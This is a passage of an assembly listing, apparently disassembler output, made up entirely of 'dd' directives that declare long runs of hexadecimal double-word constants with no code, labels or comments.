		dd 0F260BE68h, 0DFC4A9C7h, 2616E8C9h, 4BDB308h,	0C43F2097h
		dd 0D849D813h, 63A1DD4Ch, 17FE94B0h, 43E6CE1Fh,	5469A802h
		dd 704020CDh, 950DE568h, 5BE22500h, 59AFDF24h, 0C5B19EBFh
		dd 46EDEA81h, 59DE14C9h, 33828575h, 6A071FEh, 0E535D5AEh
		dd 0E95C4008h, 990A427Dh, 0E2E068A7h, 17A97639h, 20BBD9FBh
		dd 9F223BA1h, 0FA8A776h, 3FAE72C2h, 0BBA7F7FCh,	43C812C7h
		dd 0D2D06FFAh, 6148F992h, 2104AB75h, 6B0ADD00h,	49E7FABEh
		dd 0C4AC6F77h, 0D2D2136Bh, 882A9DCDh, 4D3AA733h, 9C0CB23Fh
		dd 0BD6C65A3h, 21D89F8Ch, 2CAE14ABh, 6F5C6145h,	0C1DD9C38h
		dd 0E3ADA04Bh, 4E0D34D3h, 3A1C1F67h, 50307420h,	9F385FC8h
		dd 0BDF3F171h, 9CC375F8h, 1961EE9Ch, 0D6A06E66h, 93B3F132h
		dd 48152C76h, 20939E6Bh, 5D32C499h, 0C974641h, 0A5EFC888h
		dd 0E3C4897Dh, 40F7796Bh, 0E38B28Ch, 0F7A02ED9h, 79F9FD24h
		dd 0CF303C96h, 0CDA04E8h, 5C481061h, 131C6E52h,	0F0E8D7F6h
		dd 62F7874Fh, 0C65FB3EFh, 3CD0BDDFh, 3A0B44D3h,	275E64F0h
		dd 7F22FFE2h, 3325E730h, 0C5A42EE6h, 0F6049DA9h, 39CE8623h
		dd 58E24222h, 731C0D64h, 22791E46h, 9CC80CC4h, 6967FC03h
		dd 324B7A88h, 0DD5094B1h, 549B73ACh, 0FF1C62Ah,	1646CAEh
		dd 0F221425Ah, 0B7164218h, 0D1F34C2Fh, 7D1A3A3Ch, 26A1E4E5h
		dd 5D11DB38h, 10AC484Eh, 0A80D6A0Bh, 0A96E4807h, 0D58EBD5Bh
		dd 3916655h, 0AAF2449Fh, 0EA848366h, 0D909ECA3h, 451DADBFh
		dd 7497C991h, 95A50426h, 0E04980E9h, 28188B46h,	9CBEB506h
		dd 65C911C5h, 68EC03F9h, 0FDD203FEh, 1D3F90E2h,	0E3C54616h
		dd 0BBFED6E6h, 9A20D62Fh, 789F11D7h, 7F05666Ch,	33E26A9Ch
		dd 83D910FBh, 0ACA4476Eh, 9615BBFDh, 0A2CC0ECh,	9945756h
		dd 94490407h, 93AA8Ah, 36A3C867h, 5E77DD96h, 222467BAh
		dd 8E3FB3AAh, 3A2E504h,	0A3EBF4EFh, 4C2ACA46h, 54317F06h
		dd 74714EFFh, 6A6E923Ch, 0D05A84E4h, 302B472Ch,	1B10C5DFh
		dd 0FFA0953Eh, 223D53B9h, 20FCDD4h, 9764FFB5h, 65249415h
		dd 45D86EBh, 0B9C7C19h,	32C67721h, 0C8A0A815h, 65E6BD25h
		dd 7C137D27h, 28057BDEh, 0D40563FFh, 0D6AC94BDh, 0C1466C7Ch
		dd 0B0D77FFCh, 0C23565CAh, 0FBFBC4C1h, 0FAF0B667h, 8F677D61h
		dd 0E77CB575h, 28618049h, 5F6D377Bh, 1FA5604Ch,	0EFD1314h
		dd 3CF35AADh, 4C9411FEh, 11E5EEE7h, 5056C9C1h, 74A901F9h
		dd 149CC2DDh, 0B34D2EDEh, 0E4B9C17Ah, 9CC41A1h,	0A003EDDFh
		dd 8920239h, 0A0CF7FB3h, 7337D723h, 8EAF469Bh, 0C7DCD5B2h
		dd 0AF2A7352h, 7306172Fh, 0F59707E1h, 13A8052Ch, 0B9D1110h
		dd 73AC740Fh, 307F81E6h, 16120932h, 0F7C8C550h,	0ADFEEFBAh
		dd 0ED53DD7Fh, 0C560B4D4h, 94307436h, 7F2FAF93h, 6DB5E387h
		dd 0F539E238h, 23F9A733h, 9DD5553Bh, 0B595EB51h, 0B6F8DD84h
		dd 0E5F03BC0h, 1C8BCE78h, 31F5FEDAh, 0F743A112h, 0FB973208h
		dd 42035DC4h, 0A78649Eh, 0D922C369h, 7AD16A84h,	0EDB136Bh
		dd 0A15D712Ah, 0C23DBF79h, 60BD0AE3h, 0F8A69D8Bh, 0C70C6FD3h
		dd 156686F8h, 17507577h, 2732F32Eh, 0A3607704h,	0F095AAFh
		dd 0D48675E4h, 0CEF21FEDh, 69EB243Ch, 0B811EB46h, 5EDCE1C4h
		dd 0F61EA92Fh, 221E31C3h, 0DDFE1868h, 9FD1D9C1h, 97319397h
		dd 7B54D332h, 0FFD065D0h, 0FB867C49h, 0A467848Ch, 19BB0419h
		dd 18CCACBCh, 4EF7A7Eh,	0C16E4A49h, 782123E2h, 0D4CBF7BAh
		dd 545255C3h, 0AC8E4508h, 5BB6BAD9h, 2F4A352h, 26BA05A5h
		dd 0C6E74AB6h, 720E0B75h
		dd 0F306C8C3h, 6C049FC8h, 0F056BF56h, 6F8E10A4h, 0D7709DFAh
		dd 0B9566142h, 4C3BCDF6h, 0B1373832h, 0D0A550AAh, 8D3C706h
		dd 443A3D27h, 7BE2045Ch, 9AD80092h, 0B63105C3h,	3FE9256Ch
		dd 6AFEB924h, 12737C0Dh, 24C4C47Ch, 3CD8C5A9h, 51A201F1h
		dd 362EDC21h, 0CEDCCAF1h, 7F1617F8h, 0C7D117B1h, 390A2EC6h
		dd 6A20641Ch, 609BB5F6h, 0B4EC74D1h, 72F6EF9h, 1E0A9CADh
		dd 209E786h, 0C22E9F33h, 0E8D4B8E7h, 0C30FB275h, 6488C437h
		dd 0BAB7ACCBh, 0F9A0BB18h, 3371D027h, 440407C0h, 99D16213h
		dd 0AC2C7744h, 65333E65h, 8B30B7A0h, 0E72F40Eh,	0B2BA900Fh
		dd 0C0CD495Fh, 0C4CE282Ah, 72D6D50Bh, 3720AE92h, 1CF5B5D3h
		dd 0F0916298h, 0AA65B6B5h, 77605ACCh, 8475354Dh, 0A7F3B1F5h
		dd 0CB2EB766h, 684D999h, 0A56D03Eh, 0D27BA8B3h,	6F562A66h
		dd 0DC9AAB54h, 0C3A94923h, 3EDEAFDh, 0B3D44938h, 384484DBh
		dd 0BCA8E7B2h, 44C978E8h, 54662AE3h, 0CEE8060Eh, 5C253232h
		dd 399D6CCEh, 0C81DF578h, 3DB05161h, 42A2B5Ch, 67005968h
		dd 7F033D0Ah, 0A1BD2A53h, 0AD8E7641h, 826F1C66h, 7C2F74DEh
		dd 2E949478h, 14C74105h, 795B9CB5h, 0CF7662FFh,	812B56F4h
		dd 0FF5C206h, 29844DF7h, 2A0AD440h, 7886714Ah, 0B3F6B948h
		dd 809B68F5h, 8EA2510Fh, 1589D4F2h, 36694EF5h, 0D2F361E4h
		dd 628FE504h, 0F1F200CBh, 0C4D29624h, 0C33043DFh, 5D6E1DF0h
		dd 10D54944h, 3037BCEBh, 0D37DB6A9h, 95B13945h,	160FED54h
		dd 9D0ABC3h, 0FD7972FCh, 3CA5C9DCh, 4B207A8h, 7D747CC8h
		dd 895AC524h, 66B10B1Ch, 3210607Eh, 98CDF11Ch, 0D94D3560h
		dd 296EDDA0h, 2833FD32h, 5B90694h, 0EF725AE5h, 351494CBh
		dd 0A24CB4C8h, 98D1674Eh, 0AF9DF13h, 984E918h, 0F18044AEh
		dd 0C055F537h, 6C53BAFEh, 98D8E87Eh, 0A8072A5Dh, 5F9AF7Fh
		dd 25E4A08Fh, 0AE0EAD43h, 145BBFFCh, 0F6F2BC88h, 6CB1B2ADh
		dd 0F6FAB6A3h, 0FF275F9Dh, 0DB04B13Fh, 9CF67ECAh, 0D6F8AF2Eh
		dd 7B25451Ch, 4BBAB0Ch,	503C8363h, 0EDF4C11Ah, 0A0833Bh
		dd 7CC1842Ah, 0EE57FBh,	0DDA5EE7Eh, 765AAF94h, 0C846E943h
		dd 0E2B2EC7Ch, 0D638973h, 0DBEEBB5Dh, 1C4164D5h, 0CAB29C85h
		dd 0A0B300E4h, 0FBB29D37h, 2FC1168h, 596B1E92h,	0BAEDA3C7h
		dd 97B1B782h, 22BF24CFh, 1545077Ah, 0B1F5AA37h,	0C420450Eh
		dd 95B3E513h, 96C443C1h, 5B866E7Fh, 68D9BE5Eh, 417B7DEh
		dd 5AEF43D8h, 45C61DCDh, 39223DD8h, 7A32E6C0h, 49956AAh
		dd 2AF13EA8h, 0AF5E1CDh, 326B1F35h, 770FCE79h, 59E6F844h
		dd 0FC71C448h, 0E571C7EFh, 0AAEC7D0h, 26ED3677h, 805146Eh
		dd 6EF65622h, 0BEDC74F8h, 194D3F70h, 67A86AFFh,	0C885C112h
		dd 54C076Bh, 2CC460CEh,	34E31DE9h, 0F865DDCFh, 0B7CD4A84h
		dd 0DC94D1D2h, 4021D6F1h, 8EBBFA8Eh, 3138BD17h,	9CAF8B54h
		dd 4D7BB3A2h, 2A7C3556h, 0B6F8B81Bh, 0C8647577h, 19301787h
		dd 46AEDEEFh, 15CE52CDh, 19F0A0E6h, 1085469Eh, 26056FE1h
		dd 0E76A82Ch, 492CB168h, 76A0A3D9h, 0CBF79F78h,	5E4C7C03h
		dd 0CC79943Dh, 0FBA15AF9h, 0F9597F01h, 1C97C8D7h, 72F66DF7h
		dd 9E8A0133h, 0DB384A31h, 43BE119Ch, 0D7EA095Ah, 10ED952h
		dd 458C2419h, 9CB47401h, 69A6A89Fh, 33E0D51Fh, 62D1DDCh
		dd 9834355h, 0D872F208h, 1309C7E5h, 78EE56F7h, 1F1367CEh
		dd 7086DA78h, 711E2A71h, 0BFD601F8h, 0FC758AE4h, 0E35AABE4h
		dd 7A40342h, 50ACB5FFh,	1CE6BA41h, 7BEC5D22h, 5F02BAD2h
		dd 0EE69781Dh, 52E36D0Ch, 0C022A6BBh, 73C9C2Ah,	0BBF2D916h
		dd 47A3C3F7h, 0C66D3E1Ch, 0D9B5C17Ch, 7F3DF896h, 0C0B6FAC4h
		dd 5BB0F3CEh, 7ABC1704h, 391D1DF8h, 0B4C4BD12h,	58FF413Eh
		dd 7ED445Eh, 3A42D96Dh,	0C72DE73Eh, 44A0B74Eh, 3ADBD83Ah
		dd 9F38BBC5h, 5AACFAE4h, 0ED63531h, 21FD7Dh, 79FF9694h
		dd 30E9FF8Eh, 34C7FE4h,	1801531h, 4D597D6Bh, 0C42F4630h
		dd 0F18CA8CDh, 0E46BAF29h, 0E040165Ch, 0C25E32D4h, 0D57204CFh
		dd 253ABB57h, 9FF6C4E4h, 0A4612CAEh, 5C375C2h, 69A07944h
		dd 8B0781C9h, 8CB539h, 0FE217D65h, 41FE6194h, 0ECF117E4h
		dd 7CABBE6Ah, 0DBFAAF99h, 0C164B9E6h, 47FE3884h, 7E0491DAh
		dd 412774A2h, 0A503CD77h, 975AEA0Bh, 0C1265204h, 11F1BF84h
		dd 2D876E1Fh, 6C813CCFh, 9566BEF8h, 142100F4h, 0C3BC50A7h
		dd 0EC67A64h, 0BEAE7331h, 0B082BEF6h, 0DEC9DFFh, 0C4ED3D50h
		dd 0C0035DCAh, 846D4124h, 0C03E5C86h, 1CDBBD9h,	0DC2B2716h
		dd 0F5E6BD5Ah, 4FC0F364h, 7E1D83DEh, 0E215E0h, 0C3E5C8ABh
		dd 8303B49Bh, 7CE813FFh, 0FCE8AC67h, 7BFFD3Fh, 0EF29F167h
		dd 0F5B7B6A4h, 0F4C756Ah, 0FCA885DDh, 468F63Eh,	0FCA3BEB0h
		dd 6A9600D7h, 3489B8BEh, 0CE7B214h, 3E722D4h, 9CE9679Dh
		dd 0E40DDE29h, 0C42B570Bh, 0F434A968h, 0D5C8BCA0h, 0B55E2866h
		dd 5B63726h, 99EE4DFFh,	0F5E4FE8h, 5333772h, 0A0F55D26h
		dd 0CA46F32Eh, 79FE3BF4h, 0A6CB17Ch, 6E6D93Fh, 75AC4328h
		dd 13ECEA6Eh, 71D8F70Ch, 45B6880Bh, 0D4DCF54Eh,	5EA188D1h
		dd 7CB49543h, 86CB53Dh,	0E681BF1Bh, 70495A8Dh, 0B0810427h
		dd 0CF2D2621h, 3FF40428h, 2F5743Dh, 1E71340h, 0AAAB8198h
		dd 1BA85A2Ch, 55816285h, 0C42ABCD5h, 0AA550678h, 56A07E3Ah
		dd 0E51883Ah, 0ED875CDh, 3CE3F650h, 94C716Fh, 0A0346B3Ah
		dd 4823E424h, 1531FDE1h, 0FF11ADC7h, 0F2DCB3E5h, 0E1BB823Bh
		dd 8C45220Fh, 7FF2349Ch, 0D001C1CDh, 8481DEF9h,	4A0BC4Ah
		dd 3D8F7986h, 0A060E023h, 0FAE1A424h, 351A28E6h, 0C14C729Ch
		dd 0B135B92Eh, 3BB6DD22h, 0F54B8125h, 9E67810h,	0D7F10F8Fh
		dd 0B8F0421Fh, 0C40BB0B5h, 0CF444282h, 8E3D484h, 0E2E37D68h
		dd 2FACD88Eh, 3DA1D0Fh,	0CC5469C7h, 4E75B84h, 0C2E33F5Fh
		dd 57D291FAh, 3C1C736Ch, 5032E072h, 0B96EFF2Ah,	0E7834367h
		dd 0C435DC72h, 0DD863524h, 0CF2C7405h, 7F7639A5h, 250DB6F4h
		dd 0DE4D76ACh, 5EAAE9EFh, 0CD46F72Eh, 65F1F7F1h, 0B830D35h
		dd 15BDEA65h, 0C02DF88Bh, 7FC5EF28h, 0AE7E8A34h, 0D4F1A131h
		dd 6AF2671Dh, 1BF73D18h, 0E6FADE42h, 71A24666h,	70AA476Ah
		dd 1FB7FACAh, 3FE21D0Fh, 0C188DE00h, 0E40FBD27h, 7B2F401Eh
		dd 1D84032h, 30604025h,	0DF175B2Bh, 434ED5C7h, 91D0EF1Bh
		dd 75C4A9BFh, 942570A8h, 971EDED2h, 0A6257993h,	0CB84DC88h
		dd 628AE3F7h, 3B56762Ch, 0C464EE91h, 8957418Eh,	5D6C4880h
		dd 272DADE3h, 265FCE5Bh, 0C259AE84h, 29FE177Ch,	825EC658h
		dd 35FD71D3h, 0E1E8D612h, 0F21BEDD0h, 0AB74DDC1h, 0DBC919DEh
		dd 3C5065EDh, 0C872DA4Ch, 73E97C84h, 0F1474C8h,	3EA0475Eh
		dd 0C1815FCAh, 22964E3Ah, 4ED7874h, 0C1AFFFDCh,	7CBDA07Ch
		dd 6D29B712h, 655100FFh, 70A91EF8h, 0D246F3BCh,	104DB55Bh
		dd 5786AB6Ch, 0D404E935h, 0DBF0F933h, 2AF6E2FDh, 9895E7Ah
		dd 0BA0D76F8h, 0AE4C3F2Dh, 5DDE20B6h, 715AEA9Ah, 983CF470h
		dd 0C429BC7Dh, 0EEA6D5DFh, 1DA58DAh, 3CD1B538h,	6ACCC6A1h
		dd 0ACF5334Ch, 2CA67434h, 2C961CBBh, 0ECFA0461h, 1D4936ADh
		dd 0A7358AA8h, 37EBCF4Bh, 48A117CCh, 16A985EAh,	223EA03Bh
		dd 4D87816Eh, 0FB2D88F5h, 9F3343A7h, 9F315262h,	62A2FF67h
		dd 52A94EDh, 0F2E4B8DDh, 0D7CBB084h, 0C435B618h, 38A8D921h
		dd 0C1FB90FFh, 85D8138Bh
		dd 581C1F99h, 0D22BB19h, 74F3B5CCh, 0E2E70FFEh,	800CB5B3h
		dd 0D1778F07h, 1A1B66E4h, 2172FEF0h, 26E8952Bh,	5A1AA42Bh
		dd 3CED9083h, 38A0B128h, 3BAFD33Eh, 0D5EF5C12h,	23E02FCCh
		dd 3DB61955h, 0FF1A095Fh, 0BEFE0A1Bh, 0DB0ED1DDh, 28A7C0D6h
		dd 510CBF3Ch, 78CE95D4h, 85BDA92Bh, 10F673D8h, 0DAA00772h
		dd 85A5BE3Bh, 924C8A08h, 1D0D5A7Bh, 18DFB91Ch, 3D03B40Eh
		dd 5017F2Fh, 0C0605661h, 6EDA3C6h, 2C55712Bh, 0AFC65725h
		dd 5EE9102Bh, 191790CAh, 28850DADh, 6DB1F762h, 5CCCA79Bh
		dd 0DC8F5EDDh, 30CE4CCAh, 0C4BFBED0h, 904DE765h, 6A5EE05Dh
		dd 41329D41h, 0B46D4681h, 4746862Eh, 310BE7h, 3528673Ah
		dd 0D2CE67D8h, 48BC9D3Ch, 0BC6A6430h, 13F9BC7Ah, 33477FDBh
		dd 0FA34A3A0h, 614DB536h, 0D53DDA24h, 60109D16h, 7B0696DCh
		dd 3812F964h, 0DEDB7D43h, 3DCC9E92h, 0E8068CAAh, 0C4A4A739h
		dd 0C4AC44CFh, 0E3B77774h, 6CDBE42Ch, 9ED91CFFh, 0FAA90FB5h
		dd 3F8C1D3Fh, 9C20666Ch, 8E920709h, 6C2DB722h, 8DCB30D2h
		dd 4F3595CCh, 0DBF3A53Ch, 0BE6BFE3Bh, 60029279h, 0CDFF02FBh
		dd 8C554147h, 0AD0F56CBh, 683075CCh, 6346E105h,	0E2C2C264h
		dd 0FCB64D47h, 0EEF6FC08h, 5D1F04DCh, 5466C31h,	3BF527D1h
		dd 0A4F7609Bh, 0AD17136h, 5ED65988h, 196DEDFFh,	0B34D61B9h
		dd 4233494Fh, 3EE580BEh, 8028C05h, 7FE57C11h, 75669D34h
		dd 2D911D04h, 5075CCD6h, 0A9E9F74h, 1FAFC9D3h, 0C5F7E038h
		dd 0EB09DC4h, 42E42AA8h, 2648808Eh, 32E4B2D4h, 0DB891804h
		dd 0CEB7CB09h, 0C1F0582Fh, 7B94599Eh, 50A23DD3h, 8C7D1924h
		dd 0C82C82C2h, 0EFC7B3D6h, 56331CC5h, 0F946F27h, 60E1E8A8h
		dd 0BA66CFEBh, 9CC4D43Eh, 0C8DA780Ch, 0C8598434h, 0F02C88F8h
		dd 39CC59F1h, 4F5B566Fh, 7A243FC3h, 2A864928h, 0E8FB5ABCh
		dd 0E2CC9761h, 322742E5h, 0E37B8893h, 0F86C1445h, 0CCD9776Ch
		dd 30B0CBFDh, 0AF74C4Ch, 0FCF46040h, 43D01DCFh,	0C6A08D47h
		dd 0EAF3B5FCh, 53166ADCh, 0D6F55460h, 0B951EE1h, 0FED2CFAh
		dd 3E05C8A9h, 0DA3538D6h, 80B45F2Eh, 84A1AF67h,	19CAF8F3h
		dd 0D269FECBh, 0FAB1FC52h, 0FD0AC971h, 36E7FD37h, 0F9581396h
		dd 35E414E6h, 9EC2FAFFh, 3742FCF4h, 80960975h, 34AE9563h
		dd 0A41E6A75h, 1705D6A4h, 58949DFCh, 31545939h,	0B5C0F28h
		dd 37BA7FFBh, 9D3C77DCh, 11331E5Eh, 0DF1EBF0Bh,	0CCB8B462h
		dd 0DC19B85Bh, 0E789CE98h, 0B01BA66Bh, 7DB1110Eh, 759080AAh
		dd 9E444BFh, 0A66CFED0h, 9F217991h, 4E1549AEh, 0DD352756h
		dd 599CF024h, 8CECFFF0h, 2C55D4CDh, 94A50FE8h, 0D94AE527h
		dd 87034104h, 0CBA893FDh, 716CCCF4h, 5C531DE6h,	0A13E4B5h
		dd 1E186D07h, 787DFEAEh, 0F1197F4Fh, 0BEAC076Eh, 22D92EBh
		dd 0FAF697BAh, 311FBF53h, 0DE589DF9h, 10D623D4h, 0CC6D3DD5h
		dd 58F66356h, 681CB1AEh, 588A6ABFh, 0DDAFAD1Fh,	0E5BD7181h
		dd 0DCF50128h, 0B70F99A8h, 79359C89h, 4E6456DDh, 0DE8C118Bh
		dd 9C53A0Dh, 4B9510A7h,	0A46BCB45h, 0FAB275A4h,	23F1FC42h
		dd 0DD16B99Dh, 895605E1h, 0D819C9CFh, 78B1BD8Dh, 1C5A49B4h
		dd 461D8A1Ah, 0F1120FE8h, 0E5597BCEh, 0C992D1BBh, 0CB567C99h
		dd 0D8F0B24Fh, 76501DEh, 2CDA4805h, 0F5E64947h,	0E78F376Dh
		dd 0D5AEEE49h, 0CC82143Bh, 0DE6F1CEAh, 0C0F17CE5h, 37E2ED3Fh
		dd 0E4CB44Eh, 0FA6CE3FAh, 0E7F65728h, 8460E84Eh, 0CF431AD4h
		dd 3611B0A8h, 5C24FA0Dh, 57120BDDh, 17A9B0EEh, 42C13212h
		dd 79E75233h, 8086507Eh, 8CCC4EE7h, 7AA170Ch, 0C84C9CFBh
		dd 47AE7693h, 10A35A60h, 0BA56E478h, 0CB36793Fh, 5BC07DC8h
		dd 0A42D6051h, 0C5BAC913h, 3B6C5484h, 0B839393Fh, 3EB34D28h
		dd 2C5EAB78h, 78A9669h,	1484002Eh, 2EE32784h, 0B51111FCh
		dd 2D989DD9h, 78AB7D1Ah, 879ADEB5h, 6005E7Dh, 0A340017Fh
		dd 9C95F5C2h, 0E7B66F45h, 617B09Ah, 9D5377E7h, 0CF16C677h
		dd 2BCE297h, 0B8BD26DCh, 0BB7F4CFBh, 0AC12D6FEh, 2A1CD47Bh
		dd 0F97D79E0h, 3C2B7E44h, 0A8C3EACh, 0BA2C0417h, 0AF644D23h
		dd 62EE123h, 85171CFCh,	0C34C105Dh, 36EB2C47h, 50EC1DEh
		dd 0B418B93Bh, 9F14CE4Ah, 4EA9DE02h, 5E63F062h,	9AFC7CF8h
		dd 0A1A1517Fh, 0F3740ABh, 5D1E0D9Ch, 0AABAB034h, 721C73CBh
		dd 29962775h, 2DE2AD7Ah, 0C48501DEh, 0BC00025h,	0CBAE7CEh
		dd 0B132012Eh, 10D099D5h, 66475026h, 71162168h,	0A1C45F26h
		dd 5404C92Dh, 17174644h, 3DD944A7h, 32EAD1Ch, 2B637454h
		dd 0DA162F68h, 0FCEEFFDh, 76ED8338h, 0A74CA4DEh, 0E251B8D5h
		dd 9599B10Dh, 6F14EE84h, 0A0B9F27Fh, 5ADFAF39h,	59F0BECBh
		dd 96210321h, 0DB3BC607h, 6D58BB3Ah, 7B1CB96Ch,	0ECAF51F4h
		dd 80629FB6h, 0E770465h, 946B9447h, 76B35090h, 6D0593CFh
		dd 2406F1DDh, 2A146808h, 29EB3CE0h, 0C73167C6h,	2BF6FA7Ch
		dd 0CBD11654h, 0EA4F8161h, 0B751AE0Bh, 9CAFA950h, 2CF3527Ah
		dd 7B126A5Eh, 33DC91C4h, 32CD4212h, 0E0A66761h,	0DC3BD4DBh
		dd 0C9917425h, 0FF6FAE9h, 0D86E1204h, 0DE60C4B2h, 9F12C951h
		dd 0F11267F0h, 46B46525h, 0EE0A4FFCh, 6CD56A8Bh, 682C5045h
		dd 5811FD24h, 4282EAA4h, 0CA2EA993h, 2B740A2Ch,	0E3C4873Fh
		dd 0F3D222Bh, 50A65527h, 6286BE94h, 0F02DE1B3h,	6059ACD9h
		dd 0CBB2ADC6h, 26055C2Bh, 0E0C2C678h, 8EC67CEh,	0F60B561Fh
		dd 8FAC74B1h, 0C5E8E7E9h, 0DC9D773Fh, 0FBF0FD2Dh, 69112529h
		dd 2A545D83h, 0C593D76Dh, 0A031792Ch, 0AD62F90h, 353284FEh
		dd 25B374E8h, 272C9DE1h, 769EA135h, 0F13F467h, 6E91B887h
		dd 21AAF14Fh, 92069FCFh, 0CA0B88C9h, 8F96731h, 0DCF6B0E9h
		dd 8E56688Bh, 0B3A0D155h, 731E003Fh, 9F379745h,	16084847h
		dd 0EFBCF9EAh, 0F7F776DDh, 0CAD87159h, 122D91BEh, 0E5AC87D3h
		dd 2B1474DBh, 27A09B31h, 0B230334h, 13960F91h, 65C42699h
		dd 20042D5Fh, 7F02656Ah, 0D709AD13h, 0CBF9B6C2h, 794191DFh
		dd 1A15CB3Bh, 0A91B55D0h, 3425B9F5h, 29405AFCh,	279E5D84h
		dd 760AD4B5h, 6B0681C2h, 0D34B901h, 0BB087FFCh,	0F9F6567Eh
		dd 95140921h, 7AD75380h, 54411196h, 7D5A51BDh, 44E952F0h
		dd 0FCBE616Fh, 2A8F70A8h, 639FB588h, 49D15478h,	0BD50CDD2h
		dd 4EE9EC34h, 1FF9C13Eh, 0B0B42622h, 0E84C6CE7h, 0FFD255DDh
		dd 0E3D4F9C2h, 0A0FC7877h, 18F5EEDFh, 217C64E5h, 205FC1E1h
		dd 0FD25830Fh, 0E8936C24h, 7B2C5DDFh, 0E316FACEh, 410B84Ch
		dd 0FD08C98Fh, 24973824h, 0FF2D4D57h, 1F0B412Ah, 5E8D14Eh
		dd 33B54D12h, 0A816F094h, 0D6C831Ah, 62F7A728h,	9CC47D38h
		dd 216D1AEEh, 0C40B3DA8h, 0C2965547h, 780930FCh, 24080C8Eh
		dd 3938C769h, 24C175D1h, 43347E4Eh, 698E8DFh, 8CAF52FBh
		dd 0FB916729h, 38D12E6Bh, 6A799D39h, 50E6B484h,	8AEF2F93h
		dd 8DF7EF7Fh, 664AB8EBh, 960AB268h, 85AE1B21h, 0CEE7F9D4h
		dd 0A274EEB5h, 0A4570B7Eh, 0F68CF5F9h, 0F660661h, 0D5D94861h
		dd 0E4C1FF94h, 0ED14178Bh, 0E92CD0DBh, 4E7AE341h, 9614CAE7h
		dd 0BC4A19B5h, 1A89D9CAh, 0C72EAD5Eh, 0C5E0A6BDh, 8365466h
		dd 0C777D680h, 0D8D1FC3Eh, 0B84BB084h, 0E398CA4Ah, 9F1CCC54h
		dd 0E5BB932Fh, 3C89B04Ch, 263542A2h, 5640FD66h,	0EC8DFBCEh
		dd 0AEB4CA7Ch, 0E6A0DD7Ah, 0B4A7FD7Bh, 5D127008h, 0DA650A3Ah
		dd 5F129084h, 4D35B37Fh
		dd 0BAA779BEh, 0C72CB738h, 70E274FDh, 891BBAA7h, 0EC2B65ECh
		dd 226624EDh, 36033A3Fh, 0B909BD86h, 33E0B1FBh,	0C042C166h
		dd 0F423F8AAh, 0D95FFD39h, 0EFC4AB32h, 0DA5471C5h, 0AF32DCE2h
		dd 84966C48h, 0C9D127A8h, 295D6169h, 52AB37C3h,	0C7086742h
		dd 0CDD3F8FAh, 0F5ADC7E5h, 0D72044C9h, 4B37DEAh, 0F5224D75h
		dd 0D1E36212h, 5FD85C94h, 0E3AE8B5Bh, 1EC2673Ah, 5F3FBEDCh
		dd 0C966D2E0h, 0DDAD271Bh, 0AACF9450h, 9F457547h, 5B4D05C5h
		dd 9AA5DEEAh, 7561B23Ah, 7AF676Eh, 293332FBh, 846C7927h
		dd 0C5AF64DCh, 1046AB19h, 663FA963h, 0E22C97AFh, 430994F5h
		dd 9A2ACA80h, 0E82E9EBCh, 99D19219h, 9DDC3D51h,	0D3F66B04h
		dd 55231ECBh, 0ACB4B078h, 69B3B73Fh, 4E60DDF0h,	4C9A0395h
		dd 7DC14D7Dh, 0A2F96526h, 0A7274D5h, 70877E1h, 70531E3Ah
		dd 260E0A0Dh, 7A9F0F35h, 0FDD43E2Ah, 61347866h,	0BC28C2BCh
		dd 76AFBA18h, 25F1CC5h,	0B64A92E6h, 0DD168D5Eh,	7009583Eh
		dd 5CE73125h, 0A49D04DCh, 3AEC5B07h, 0F1F476C7h, 7D74AF9Ah
		dd 71F746B0h, 10F85AAAh, 0C1B28DB0h, 91427579h,	9CC06208h
		dd 0CD6072A4h, 50D9398Ah, 637CE52h, 12D9D6C6h, 0FAD086DEh
		dd 963E5CF0h, 0B0CF5C9Ch, 714D3235h, 0F3EB1D14h, 549B56EAh
		dd 0E4D5EB81h, 0AC942FD8h, 1373484h, 7CF41654h,	38A2CD52h
		dd 9F3DB3E4h, 4CFB6362h, 0C464A0E6h, 0D5EA5531h, 78C0ED08h
		dd 10A5B5D4h, 38A3F5E4h, 7FA8597Ch, 0DD05B4FCh,	3C92FDFFh
		dd 7CE7F36Ah, 66020C9Fh, 0E8B5FCA3h, 288FBA58h,	0BA5603BAh
		dd 386DEC1h, 6CEBD6Bh, 4C4DF89Fh, 0BCC71230h, 0DD4B75F7h
		dd 24F5478Dh, 2B70EB0Ah, 1169C75Bh, 0D4CC50B2h,	874C06E8h
		dd 6BD6FE3Dh, 0EE5E01DCh, 0F0D1B726h, 4B40C8DDh, 0ECAF43BCh
		dd 23F269DAh, 2AEF60F0h, 735176C8h, 0BA7E511h, 0F9AB4660h
		dd 0C774D184h, 82FB87EFh, 8FE14C6Ch, 3272709Eh,	0C59E6FC8h
		dd 3E074007h, 66500325h, 0C045E304h, 4AB480D0h,	55716B58h
		dd 9C6106FCh, 0FFE14DEEh, 39110EEDh, 18E46796h,	0D8B05823h
		dd 0FB0F43ADh, 0DC997CBDh, 98587D17h, 0B3B082C7h, 0C34FD2Bh
		dd 0D56BBAE4h, 7D217787h, 0FDD54014h, 0DA3EE593h, 0A43C748Bh
		dd 7D2661A9h, 594D6494h, 7C67E3C1h, 3015ACF4h, 0D4C349D0h
		dd 282DF8DCh, 2B0CC3D7h, 67986ADAh, 0F5ACFE35h,	203A2BC5h
		dd 480Bh, 76166CBFh, 25E99EBEh,	70642041h, 7086D4D9h, 0C47557D9h
		dd 100D50A3h, 23AD3FEEh, 684223B8h, 6CCD0BCFh, 834CBE6Bh
		dd 0AAEFC9C4h, 59517694h, 0D3616CACh, 0B2DBC587h, 3CF9D754h
		dd 0A67F2797h, 0FF6CB1BAh, 6954F707h, 0B61F02Eh, 5A3893DEh
		dd 7A9D6C83h, 151528E8h, 0EBA47C58h, 0ECF6AC41h, 4DDB617Bh
		dd 1455D801h, 61245D2Bh, 0C0E613FCh, 0D2D15CCCh, 2A796645h
		dd 0FB79B221h, 51A63030h, 0A1D052EAh, 0C03091DBh, 7DE6743Ch
		dd 578CA7E4h, 0AD0C6ABh, 7CA8DEA3h, 22E5B5F0h, 2160D857h
		dd 544255CEh, 730D759h,	26A335F0h, 0BDFCD8D0h, 27ACF8C8h
		dd 4A0843C4h, 4EB96D39h, 4ABEB0ADh, 6A41514Eh, 0C41B5108h
		dd 230567F0h, 813D58BFh, 0EBEB0797h, 92635318h,	0ABCE67BAh
		dd 44BD9E5h, 0C8868F84h, 1F35E344h, 0C5CC714Bh,	1863A968h
		dd 0D56C0494h, 1CE42543h, 6B2DA5A8h, 0C0FEE236h, 3A5DD16Bh
		dd 0C4FFBE33h, 0BA8336D9h, 11D5D907h, 4E737367h, 0DB949ED0h
